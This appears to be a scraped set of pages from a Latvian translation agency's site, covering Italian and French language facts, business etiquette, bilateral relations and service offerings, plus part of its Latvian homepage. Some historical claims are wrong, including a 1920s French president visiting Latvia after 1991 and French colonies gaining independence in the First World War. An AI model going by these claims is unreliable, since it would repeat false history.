ABOUT THE ITALIAN LANGUAGE Italian is a Romance language of the Indo-European language family that evolved from Vulgar Latin. Italian is considered to be the most direct descendant of Latin. The origins of the Italian language can be traced back to the 1st century BC. It evolved from colloquial Latin, which was the official language in Ancient Rome. Italian in its written form started to appear in the 10th century AD in the form of notes and short texts. The oldest monument of written Italian is dated to the year 960. Italian is the official language in Italy and the European Union, and it is the minority language in two European Union countries – Croatia and Slovenia. It is one of the most commonly used languages in the European Union along with German, English, and French. Italian is not an international transactional language like English, French or Spanish, but it is commonly used in the Mediterranean countries and is one of the most popular languages based on the number of learners in the world. Italian knowledge will be quite useful for art historians and musicians. It has a significant role in the world of gastronomy. Italian has influenced almost all of the world languages, particularly in the aforementioned fields. It indicates the almost absolute dominance of Italian culture in the history of Europe starting from the Roman Empire to the Renaissance and modern times. Literary Italian is based on the Tuscan (Florentine) dialect that was popularised by authors like Dante Alighieri, Giovanni Boccaccio, and Francesco Petrarch during the 13th and 14th centuries. For a long time, literary Italian did not exist and authors wrote in their own local dialects. Every city in Italy had its own dialect because a few centuries ago many cities were considered separate city-states. French has borrowed around 3000 words from Italian. Dialects from neighbouring countries France, Croatia, and Slovenia have been greatly influenced by Italian. The Maltese language has many borrowings from Italian. Nowadays, Italian is the working language in Vatican City, it is important in the whole Catholic world. In Italian, articles are used before nouns to mark what gender and number the noun is. Feminine nouns are paired with the article ‘la’, while masculine nouns are paired with ‘il’. Feminine plural nouns are paired with the article ‘le’, masculine plural nouns with ‘i’. The indefinite feminine article ‘una’ and masculine article ‘un’ are used as well. The linguistic diversity in Italy is wider than in other Romance language-speaking countries. Literary Italian in many aspects is more similar to Spanish or Portuguese than to the Piedmontese or Neapolitan languages. Piedmontese dialects are more similar to Provençal and French than to Italian. The Tuscan language is still considered as the most literary correct Italian dialect since it is most similar to Classical Latin. The unification of Italy in 1861 not only influenced the political situation, but also caused significant social, economic, and cultural changes. The importance of literacy rose when compulsory education was introduced, and many people forgot their native dialect by learning the state language. Italian is taught in many schools and universities around the world, but rarely as the first foreign language. The technologies of the 21st century help popularise Italian since people are offered new and easy ways to learn to speak, read, and write in Italian. In accordance with the data gathered by the Italian Ministry of Foreign Affairs, every year more than 200,000 foreign students want to learn Italian. THE ITALIAN ALPHABET The Latin alphabet expanded during the Roman Empire and continued to exist even after its collapse. When European nations started to develop their writing systems, they used the Latin alphabet as a foundation, including Italians in the 10th century. The Latin alphabet was either edited to add new letters that matched phonemes, or a few letters were taken out. The Italian alphabet consists of 21 letters. Letters j, k, w, x, and y traditionally are taken out of the alphabet, even though they appear in foreign words. The Italian alphabet is derived from the Latin alphabet; it has 5 vowels (a, e, i, o, u) and 16 consonants (b, c, d, f, g, h, l, m, n, p, q, r, s, t, v, z). HOW DIFFICULT IS THE ITALIAN LANGUAGE? Who has not thought about learning Italian? Just listening to music in Italian makes you interested in this beautiful, lyrical, and sonorous language. Linguists believe that Italian is one of the easiest languages to learn, and it is not surprising that it is one of the most popular languages people want to study. Technically, 25 weeks of studying would be required to reach the level of conversational Italian if one learns Italian 24 hours a week. Italian pronunciation is quite easy, it is beautiful and melodic. In most cases, the words are pronounced as they are written. Italian is easier for those who already know any of the Romance languages – French, Spanish or Portuguese. Grammatical aspects could cause some difficulties – every word group in Italian has gender. It is difficult to distinguish double consonants in speech and it can even change word meaning. Therefore, practical lessons, music, poetry, trips to Italy, and dedication are things required to learn Italian. WHERE AND HOW MANY PEOPLE SPEAK ITALIAN? Italian is the native language of 67 million people around the world. It is the official language in Italy, San Marino, and Vatican City, as well as one of the 24 official and working languages in the European Union. In Croatia and Slovenia, it is used as a minority language. The biggest diasporas of Italian speakers live in Brazil (around 25 million speakers), Argentina (2. 4 million), USA (8 million), Canada (1. 5 million), Uruguay (1. 5 million), and Australia (less than 1 million speakers). ITALIAN INTERPRETER AND TRANSLATOR The Skrivanek Baltic team of professional interpreters and translators provides both standard written document translations, complex technical translations, and notarised translations. The Skrivanek translation agency also provides proofreading and stylistic improvement of texts in Italian. Of course, linguists can offer information about cultural differences, business etiquette, history, and traditions. We most often do the following translations from and to Italian for business clients – website and e-commerce content, adaptation of advertising slogans, cooperation agreements, legal acts, court rulings, and business documentation. We also do sequential translation in business or other types of conversations, conferences, and on the online platform Zoom. For private individuals, we do translations of personal identification documents, marriage certificates, birth certificates, education documents, passports, medical documents, etc. THE ITALIAN LANGUAGE IN BUSINESS The geographical location of Italy is very important, making it a strategic logistics centre and gateway to the European single market. The ability to use the right language and gestures is vital, particularly in Italy. Hand gestures and eye contact are the main elements of Italian communication. Keeping a distance or moving away may be seen as a rude gesture. Italians often act on their emotions, and trust is crucial for developing good business relations. One should not be impatient during a meeting since it can be seen as disrespectful by a business partner. One should definitely talk and show their interest in Italian food, art, fashion, or sports. Even if it is not in the context of a business meeting. There is a popular joke – to interrupt a talking Italian, you must simply take his hands. It is necessary to inform your business partner that you don’t speak Italian before the meeting. It must be stated in a letter, e-mail, or message by mentioning which language you are confident in speaking. Often Italian entrepreneurs don’t speak English and are willing to use the services of a professional interpreter. Even though there are Italian entrepreneurs who speak both English and French, Italian will be the dominant language either way. Italians will always appreciate anyone who tries to speak in their native language, even if they aren’t good at it. It needs to be taken into consideration that Italian knowledge in Italy will be the key to developing a successful business relationship. Italian does not have a significant role in business outside of Italy, except for areas that are related to music, art, science, and culinary arts. ITALIANS IN LATVIA In 2021, Latvia and Italy celebrated significant anniversaries – 100 years since the establishment of diplomatic relations and 30 years since the recognition of Latvia’s restored independence and renewal of diplomatic relations. Italy was one of the first countries that established an embassy in Riga in 1992. There is active cooperation between Latvia and Italy in cultural education. Multiple cooperation agreements have been concluded between universities in Latvia and Italy within the framework of European Union programs. At the same, the Italian government grants scholarships to Latvian students in Italy. The Latvian Academy of Culture, the Art Academy of Latvia, and Jāzeps Vītols Latvian Academy of Music are actively cooperating with Italian educational institutes. There are more than a hundred Italian exchange students from the exchange program Erasmus and full-time students studying at Latvian universities. There were 66 Italian citizens studying at the University of Latvia in 2021, 23 of them were full-time students, and the rest were studying for only a semester as part of the Erasmus program. Most Italian students study at Rīga Stradiņš University – there are 96 full-time students. And the number of Italian students at Riga Technical University is almost 30. Since 2005 the Latvian Academy of Culture is offering a study program called Intercultural Communication with the sub-program Intercultural Communication Latvia-Italy. In the area of culture, every year Latvian films are submitted to the biggest film festivals in Italy - Venice IFF, Rome IFF, Trento IFF, Trieste IFF, and Torino IFF. Cooperation in the area of defence has become more active between Latvia and Italy because Italy is participating as part of the NATO Canada battle group in Latvia. Italy also frequently participates in the NATO Baltic Air Policing mission. OUR MOST POPULAR ITALIAN LANGUAGE SOLUTIONS: general and specialised translation in Italian language; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting in Italian language; Italian language courses; linguistic audit. LANGUAGE COMBINATIONS: Latvian to Italian; Italian to Latvian; Estonian to Italian; Italian to Estonian; Lithuanian to Italian; Italian to Lithuanian; Russian to Italian; Italian to Russian; Czech to Italian; Italian to Czech; Polish to Italian; Italian to Polish; Ukrainian to Italian; Italian to Ukrainian; English to Italian; Italian to English; Italian to Spanish; Spanish to Italian; German to Italian; Italian to German; French to Italian; Italian to French; Danish to Italian; Italian to Danish; Norwegian to Italian; Italian to Norwegian; Swedish to Italian; Italian to Swedish; Finnish to Italian; Italian to Finnish and others. OUR MOST POPULAR ITALIAN LANGUAGE SOLUTIONS: general and specialised translation in Italian language; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting in Italian language; Italian language courses; linguistic audit. LANGUAGE COMBINATIONS: Latvian to Italian; Italian to Latvian; Estonian to Italian; Italian to Estonian; Lithuanian to Italian; Italian to Lithuanian; Russian to Italian; Italian to Russian; Czech to Italian; Italian to Czech; Polish to Italian; Italian to Polish; Ukrainian to Italian; Italian to Ukrainian; English to Italian; Italian to English; Italian to Spanish; Spanish to Italian; German to Italian; Italian to German; French to Italian; Italian to French; Danish to Italian; Italian to Danish; Norwegian to Italian; Italian to Norwegian; Swedish to Italian; Italian to Swedish; Finnish to Italian; Italian to Finnish and others. --- > General and specialised translations, notary-certified translations, interpreting and other French language solutions. - Published: 2017-09-29 - Modified: 2025-07-02 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-francu-valoda/ - Translation Priorities: Optional TRANSLATIONS IN FRENCH HOW MUCH DO TRANSLATIONS IN FRENCH COST? Translation cost from and to French is calculated for every order individually. The price calculation consists of multiple parameters specific to your order. For example, the price of sequential oral and simultaneous translations is based on the time of providing the service, travel costs, and daily allowance. In simultaneous translation, expenses for technical support are additionally calculated depending on the number of participants in the event, etc. The price of written translations consists of the volume of the translated material, the due date of the translation, complexity of the terminology, repetitions in the text, complexity and formatting of pictures and graphics, correction, as well as additional services chosen by the client. IS THE PRICE LIST AVAILABLE? Of course, the price list of written and oral translations (simultaneous and sequential), localisation, and adaptation from and to French is an integral part of our contracts with clients. The Skrivanek Baltic translation agency project managers always prepare detailed information about the cost of translation before starting a translation project. The price offer is prepared in approximately 30 minutes. The price of written translations consists of the volume of the translated material, repetitions in the text, complexity of graphics, and other parameters. We will wait for your material in our e-mail for you to receive your price offer. Contact Skrivanek Baltic today for a free quote on French translation or any other combination of translation and related business services. Our French language services include: French Document Translation French Simultaneous Interpretation French Linguistic Validation French Consecutive Interpretation French Transcription French Typesetting and Graphics French Voiceovers and Subtitling French Staffing Solutions French Multicultural Marketing French Document Management French Deposition Services French Virtual Data Room Services French E-learning Support Looking for a language solution in French? We will prepare a tailored solution and consult you on your subject of interest. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Client *Private personCompany Name and surname *Telephone Add Remove Name and surname *Telephone Add Remove Company name *Telephone Add Remove Company name *Telephone Add Remove Email *Target language Add Remove Email *Target language Add Remove Additional informationDocument upload, max. 20 MB, if document exceeds the limit, write it in your message and we will contact you Click or drag files to this area to upload. You can upload up to 10 files. How did you learn about us? How did you learn about us? I am a Skrivanek clientGoogle search engineFriend/acquaintance suggestionFacebookTwitterLinkedInInstagramOutdoor advertisingTrade fair/exhibitionPrinted advertisingOther By clicking the "Send" button, you consent to the processing of your personal data in accordance with Skrivanek Baltic Privacy Policy. Submit Quality and confidentiality guaranteed by ISO certificates Our project managers speak Latvian, Russian, English, German and Polish99% of customers receive a price quote in less than 15 minutesMore than 3000 language professionals and native speakersMore than 98% of our clients would recommend us to their friends and partnersMore than 60 million words are translated in our office every year INTERESTING FACTS ABOUT FRANCE AND THE FRENCH LANGUAGE The French language sounds quite sophisticated. It is considered one of the world's most logical, rich, sonorous, and romantic languages. Any phrase would sound beautiful in French – whether it was life wisdom, a love confession, or even scientific terminology or the most vulgar words in the world. French has a significant role in the world – it is the fourth most frequently used language on the internet, the third most used language in business, and second most used in international mass media. The International Organisation of La Francophonie estimates that the number of French speakers will increase to 767 million by 2060. French is the official and work language in the United Nations, European Union, UNESCO, NATO, International Olympic Committee, International Red Cross, and international courts. TV5MONDE is the main and only global TV channel in French, which is accessible in 198 world countries, including China, Cuba, and North Korea. The most frequently used letter in French is e. French is the international language of culinary arts, fashion, theatre, visual arts, dance, and architecture. French knowledge can provide access to amazing French literary works, films, and music in the original language. French is the language of Victor Hugo, Molière, Édith Piaf, Jean-Paul Sartre, Alain Delon, and Zinedine Zidane. The novel Les Misérables is the masterpiece of the French author Victor Hugo, which has been translated into numerous languages. Interestingly, the longest sentence in this novel is the longest in literature overall, consisting of 823 words with no punctuation marks, only a full stop at the end. French knowledge provides opportunities to study at famous French universities and business schools, which are some of the best educational institutes in Europe and the world. France is a popular tourist destination and every year it attracts more than 87 million visitors. The ability to speak even a bit of French makes the experience of visiting Paris and the rest of France much more pleasant. In addition, it provides insight into French culture and lifestyle. French can be useful when traveling to other French-speaking regions in the world. First and foremost, learning French is the joy of studying a beautiful, vibrant, and melodic language that is often called the language of love. French is also an analytical language that structures your ideas and improves logic skills, which is useful in discussions and conversations. THE FRENCH ALPHABET Written French has used the Latin alphabet since the 9th century. It has been altered and consists of 26 letters as of now: six vowels (a, e, i, o, u, y) and 20 consonants (b, c, d, f, g, h, j, k, l, m, n, p, q, r, s, t, v, w, x, z). Nowadays there are more French phonemes than Latin letters (26 letters mark 35 phonemes). Many letters can have diacritical marks, mostly lower-case letters. BRAILLE Braille is a writing system used by blind or visually impaired people to be able to write and read. This writing method was invented by a Frenchman named Louis Braille in 1821. Braille lost his sight when he was three years old as a result of a domestic accident. When he was ten years old, he had the opportunity to study at the National Institute for Blind Youth in Paris, which was one of the first educational institutions of this type. The blind students at the National Institute for Blind Youth had to learn reading by a system devised by the institute’s founder Valentin Haüy. The reading system used a copper wire, pasted in between two pieces of paper. This method had multiple drawbacks. First of all, students could not learn writing, and second of all, one book had many different types of texts. The books were quite thick and heavy and their weight could reach up to tens of kilograms. The institute had only three books of this type. In 1821, the former captain of the French army, Charles Barbier, visited the National Institute for Blind Youth in Paris. At one point, Napoleon demanded somebody to invent a writing system that could help soldiers communicate with each other at night, in complete darkness and silence, with no source of light. For this purpose, Barbier invented ‘night writing’, where letters on the paper were marked by poking twelve holes in different combinations. When Barbier arrived at the National Institute for Blind Youth in Paris, he introduced ‘night writing’ to the students. In the same year, Braille started developing his own writing method inspired by ‘night writing’, which he finished in 1824 when he was only fifteen years old. The main difference was that he implemented the use of six instead of twelve dots that he divided into three rows with two dots in each row. In this way, one letter could be read with one touch of the finger, which sped up the reading process. It was also easier to learn this writing system. A significant advantage over Haüy’s writing system was that Braille allowed to learn not only how to read, but also how to write. Later on, Braille also invented a writing method for math and musical notes based on his writing system. The first book in Braille was published in 1829. A book dedicated to the Braille writing method and use was published ten years later. He was an acknowledged teacher among his students at the National Institute for Blind Youth in Paris. Two years after his death, Braille writing was officially recognised in France. In 1878, Braille was recognised as the international writing system for the visually impaired. HOW DIFFICULT IS THE FRENCH LANGUAGE? At the moment French is the second most learned language in the world – around 125 million people are learning it in various educational institutes. It is one of the rare languages that can be learned in an educational institution anywhere in the world. 500 thousand French teachers live outside France. In a recent study conducted by the online language-learning platform Duolingo, it was found that French is the second most learned language on the platform. French is one of the ten languages that the Foreign Service Institute has deemed as easy to learn. Most students would need 23−24 weeks or 600 hours of studying to learn it. WHERE AND HOW MANY PEOPLE SPEAK FRENCH? French became an international language during the Middle Ages thanks to the massive influence of the Kingdom of France. It replaced Latin in the 17th century as the lingua franca of educated Europeans, and it became the main language of diplomacy and intelligence in Europe in the 18th century. At first, most French-speaking countries were French colonies. French colonialism from the 17th to 19th centuries spread French in multiple regions of the world. At the end of the 18th century and the beginning of the 19th century, France lost control over most of its colonies as a result of war activities. The second French colonial empire was formed at the end of the 19th century when France gained control over multiple countries in North Africa, as well as Senegal, Côte d'Ivoire, and Mali. During the First World War, most French colonies gained independence, but they still use French as one of the main languages. 29 Francophone countries in Europe, Africa, Canada, the USA, and Asia speak French. It is the official language of the International Organisation of La Francophonie. The Francophonie consists of those world countries, whose official language is French or a significant part of its population speaks French, or where French and French culture has left a substantial historical and cultural legacy. Eighty-eight countries and territories on five continents participate in this organisation. French is the native language for around 80 million people, but around 300 million people speak it worldwide. It is the official language in France, Belgium, Switzerland, Monaco, Luxembourg, Canada, Haiti, Vanuatu, and 21 African countries. Most French speakers live in Africa – around 115 million people. The biggest French-speaking diasporas live in Algeria, Argentina, Australia, Chile, New Zealand, Canada, Morocco, Mexico, Tunisia, and Uruguay. Former French colonies often use French as a compromise between local languages after gaining independence. FRENCH INTERPRETER AND TRANSLATOR The team of interpreters and translators at Skrivanek Baltic has done translations of both standard written documents, documentations of European Union institutions and the largest non-state organisations in the world, complex medical and technical texts, and notarised documents. The Skrivanek Baltic translation agency also provides proofreading and stylistic improvement of texts in French, and the creation of SEO content by adjusting it to the market in France or the unique region of Québec in Canada, and French mentality. Our linguists will gladly provide information about cultural differences, business etiquette, history, and traditions. We most often do the following translations from and to French for business clients – websites and e-commerce content, digital marketing content and adaptation and adjustment of meta tags, cooperation agreements, legal acts, court rulings, and business documentation. We also do sequential translation in business or other types of events, we translate court hearings of all instances, high-level international conferences, and events on Zoom and other online platforms. For private individuals, we do translations of personal identification documents, marriage certificates, birth certificates, education documents, passports, medical documents, etc. THE FRENCH LANGUAGE IN BUSINESS Around 300 million people in the world speak French, it is the third most popular language in the world of business. Considering the demographic and economic growth in French-speaking regions, mostly in Africa, these numbers will definitely increase in the next years. French knowledge provides access to the circle of French-speaking clients. It is perfectly suited for working in diplomacy, international organisations, and banking or finance. French is an important language if one has ambitions to develop business in North Africa or Africa in general. Learning business French can provide exceptional advantages for any entrepreneur. France has a favourable environment for business – its sophisticated financial market, and highly-educated workforce make it an attractive location for business. France is also one of the most visited countries in the world and its cultural impact is widely recognised. France, with one of the biggest trade markets in Europe and access to the European single market, is a favourable country for entrepreneurship. Its capital city Paris is a significant financial centre in Europe. Even though most European Union countries consider English as their main business language, it is expected that foreign entrepreneurs in France have even the most basic French knowledge. It is not required to speak French, but a refusal to even greet in French would be considered a rude gesture. RELATIONS BETWEEN LATVIA AND FRANCE The history of diplomatic relationships between Latvia and France is more than 100 years old. Thanks to Alexandre Millerand, president of France, Latvia was recognised de jure. France also never recognised Latvia’s annexation as part of the Soviet Union. The diplomatic relations between Latvia and France were renewed in 1991. The president of France, Alexandre Millerand, was the first Western leader who visited Latvia after it gained independence. The cooperation between both countries continues to develop as of right now, both bilaterally and within the framework of the European Union and NATO. Both countries have signed an action plan for 2018−2022, that states specific actions to improve cooperation between both countries. In 1997, both countries signed a cooperation agreement pertaining to culture, education, science, and technology. The French institute in Latvia has an important role in facilitating and consolidating cooperation. Francophonie days in Riga and other regions in Latvia have become a tradition. Successful cooperation has been established in education as well. One can study at Jules Verne Riga French School. Additionally, the French government grants scholarships to Latvian students every year, and several thousand students in Latvia are studying French. France is considered a significant economic trade partner of Latvia. Also, the Investment and Development Agency of Latvia is operating in France. There is great cooperation between the two countries in the area of defence as well. France was one of the first countries that the Ministry of Defence started cooperating with. Likewise, France has already carried out six NATO Airspace Policing missions in the Baltic States. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO FRENCH: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to French; French to Latvian; Estonian to French; French to Estonian; Lithuanian to French; French to Lithuanian; Russian to French; French to Russian; Czech to French; French to Czech; Polish to French; French to Polish; Ukrainian to French; French to Ukrainian; English to French; French to English; French to Spanish; Spanish to French; German to French; French to German; Italian to French; French to Italian; Danish to French; French to Danish; Norwegian to French; French to Norwegian; Swedish to French; French to Swedish; Finnish to French; French to Finnish and others. SOLUTIONS THAT WE PROVIDE MOST OFTEN FROM/TO FRENCH: general and specialised translation; notary-certified translation; localisation; neural machine translation; DTP – desktop publishing; text adaptation and copywriting; interpreting; language training; linguistic auditing. LANGUAGE COMBINATIONS: Latvian to French; French to Latvian; Estonian to French; French to Estonian; Lithuanian to French; French to Lithuanian; Russian to French; French to Russian; Czech to French; French to Czech; Polish to French; French to Polish; Ukrainian to French; French to Ukrainian; English to French; French to English; French to Spanish; Spanish to French; German to French; French to German; Italian to French; French to Italian; Danish to French; French to Danish; Norwegian to French; French to Norwegian; Swedish to French; French to Swedish; Finnish to French; French to Finnish and others. --- > Tulkošanas birojs ar vairāk nekā 30 gadu pieredzi – profesionāli un kvalitatīvi valodu pakalpojumi uzņēmumiem un privātpersonām. Sazinies!️ - Published: 2017-09-14 - Modified: 2025-07-09 - URL: https://skrivanek.lv/ - Translation Priorities: Optional Svešvalodas lieliem mērķiem Tirgū jau vairāk nekā 30 gadus! Rakstiskie tulkojumi Mutiskie tulkojumi Lokalizācija Valodu mācības Tulkošanas birojs un mācību centrs – Jūsu Skrivanek Uzņēmums Skrivanek ir viens no lielākajiem valodu pakalpojumu sniedzējiem pasaulē ar vairāk nekā 25 gadu pieredzi valodu pakalpojumu jomā. Pašlaik tam ir gandrīz piecdesmit filiāļu dažādās pasaules valstīs. Skrivanek Baltic Latvijā darbojas no 2003. gada, saviem klientiem piedāvājot augstas kvalitātes valodu pakalpojumus. Tulkošanas birojs un mācību centrs – Jūsu Skrivanek Uzņēmums Skrivanek ir viens no lielākajiem valodu pakalpojumu sniedzējiem pasaulē ar vairāk nekā 25 gadu pieredzi valodu pakalpojumu jomā. Pašlaik tam ir gandrīz piecdesmit filiāļu dažādās pasaules valstīs. Skrivanek Baltic Latvijā darbojas no 2003. gada, saviem klientiem piedāvājot augstas kvalitātes valodu pakalpojumus. Tulkotājs vai tulks? Vai jums nepieciešams tulks vai tulkotājs? Noskaidrot atšķirību 0+ Valodu dažādās kombinācijās 0+ milj. Pārtulkotu vārdu 2024. gadā 0+ Valodu speciālistu 0 ISO sertifikāti NODROŠINĀM VALODU RISINĀJUMUS DAŽĀDĀM NOZARĒM VAIRĀK NEKĀ 300 VALODU KOMBINĀCIJĀS NODROŠINĀM VALODU RISINĀJUMUS DAŽĀDĀM NOZARĒM VAIRĀK NEKĀ 300 VALODU KOMBINĀCIJĀS Angļu valoda Arābu valoda Armēņu valoda Čehu valoda Dāņu valoda Franču valoda Grieķu valoda Gruzīnu valoda Hindi valoda Lietuviešu valoda Norvēģu valoda Igauņu valoda Itāļu valoda Krievu valoda Ķīniešu valoda Poļu valoda Portugāļu valoda Rumāņu valoda Somu valoda Spāņu valoda Ungāru valoda Vācu valoda Zviedru valoda Citas valodas Angļu valoda Arābu valoda Armēņu valoda Čehu valoda Dāņu valoda Franču valoda Grieķu valoda Gruzīnu valoda Hindi valoda Lietuviešu valoda Norvēģu valoda Igauņu valoda Itāļu valoda Krievu valoda Ķīniešu valoda Poļu valoda Portugāļu valoda Rumāņu valoda Somu valoda Spāņu valoda Ungāru valoda Vācu valoda Zviedru valoda Citas valodas Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  Nepieciešams tulkot tekstu vai pasākumu? Vēlaties apgūt svešvalodu? Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Sazinieties ar mums, sagatavosim tieši jums izstrādātu piedāvājumu! Vai piesakieties tiešsaistes konsultācijai jau tūlīt! Biežāk uzdotie jautājumi Skrivanek Baltic ir sertificēts tulkošanas birojs, kas Latvijā darbojas kopš 2003. gada, piedāvājot augstākās kvalitātes valodu pakalpojumus. Uzņēmums Skrivanek ir viens no lielākajiem valodu pakalpojumu sniedzējiem pasaulē ar vairāk nekā 30 gadu ilgu pieredzi. Pašlaik tam ir gandrīz piecdesmit filiāļu dažādās pasaules valstīs – ASV, Austrijā, Beļģijā, Bulgārijā, Čehijā, Igaunijā, Lietuvā, Polijā, Slovākijā, Slovēnijā un Vācijā. 2007. gadā durvis vēra Mācību centrs Skrivanek, sniedzot iespēju bērniem un pieaugušajiem papildināt un iegūt svešvalodu zināšanas pie augsti kvalificētiem un zinošiem pasniedzējiem, kā arī saņemt plašāku informāciju saistībā ar valodām. Tulkošanas pakalpojuma cena tiek aprēķināta, ņemot vērā vārdu skaitu dokumentā, valodu kombināciju un citus aspektus. Nosūtiet mums materiālus, un par tulkojuma izmaksām jūs tiksit informēti vēl pirms darba uzsākšanas. Bezmaksas izcenojuma saņemšana neuzliek jums pienākumu sadarboties ar mums. Samaksas kārtība Korporatīviem klientiem piedāvājam slēgt sadarbības līgumu, kurā varam paredzēt šādus samaksas nosacījumus: mūsu uzņēmumā klients, veicot pasūtījumu pirmo reizi, pasūtījumu saņem tikai pēc rēķina samaksas; pēcapmaksa ar rēķinu pēc katra projekta (parasti iesakām izmantot apjomīgu projektu gadījumā); pēcapmaksa ar rēķinu par periodu (parasti iesakām klientiem, kuriem ir liels skaits apjomā nelielu pasūtījumu); pēcapmaksa ar rēķinu vienu reizi mēnesī. Korporatīvajiem klientiem un privātpersonām piedāvājam veikt rēķinu samaksu ar norēķinu kartēm vai skaidrā naudā mūsu birojā, kā PayPal maksājumus, kā arī veikt samaksu ar bankas pārskaitījumu. Jā, privātpersonām norādām cenu, kurā iekļauts PVN. Korporatīvajiem klientiem pakalpojumu cena tiek norādīta bez PVN, pamatojoties uz vispārpieņemto tirgus praksi. Ja dokuments ir pieejams Microsoft Word formātā, izmantojiet vārdu saskaitīšanas funkciju (Review, Word Count). Ja dokuments ir kādā citā formātā (izdruka, JPG, HTML, PHP, ASP u. tml. ), nosūtiet mums failu(-us) e-pastā, un mēs jums nosūtīsim bezmaksas aprēķinu. Par termiņiem mēs vienosimies jau pirms darba sākšanas. Varat rēķināties, ka tulkojumam līdz 500 vārdiem vidēji būs nepieciešama viena pilna darbadiena, apjomam no 1000 vārdiem – vismaz pusotra darba diena. Nepieciešamības gadījumā mēs varam nodrošināt steidzamu tulkojumu. Pilnīgi jebkurā elektroniskā formātā – ja dokuments nav pieejams elektroniski, nosūtiet mums attēlus vai atnāciet uz mūsu biroju Lāčplēša ielā 87C. Mēs varam iztulkot jebko no praktiski jebkura elektroniska formāta, saglabājot oriģinālā dokumenta formatējumu. Arī gadījumos, kad nepieciešami lokalizācijas pakalpojumi, mēs ievērojam klienta norādījumus, kā arī programmatūras specifiskos iestatījumus. Jā, jūs varat paši tulkot tekstus ar jebkuru no pieejamajiem mašīntulkotājiem un lūgt Skrivanek Baltic automātiski ģenerētos tekstus pārbaudīt un izlabot. To sauc par mašīntulkota teksta pēcrediģēšanu. Protams, ar lielāko prieku. Skrivanek ir plaša pieredze un zināšanu bāze dažādu mājaslapu un satura vadības sistēmu tekstu tulkošanā un lokalizēšanā. Visos gadījumos tiek nodrošināta profesionāla pieeja un piemeklēts labākais risinājums, lai nodrošinātu vēlamo rezultātu nepieciešamajās valodu kombinācijās. Lai arī lielākā daļa pieprasījumu ir no uzņēmumiem, mēs ar lielāko prieku strādājam arī ar privātpersonām. Visbiežāk privātpersonām ir nepieciešami tulkojumi ar notāra apstiprinājumu, pieprasītas ir arī 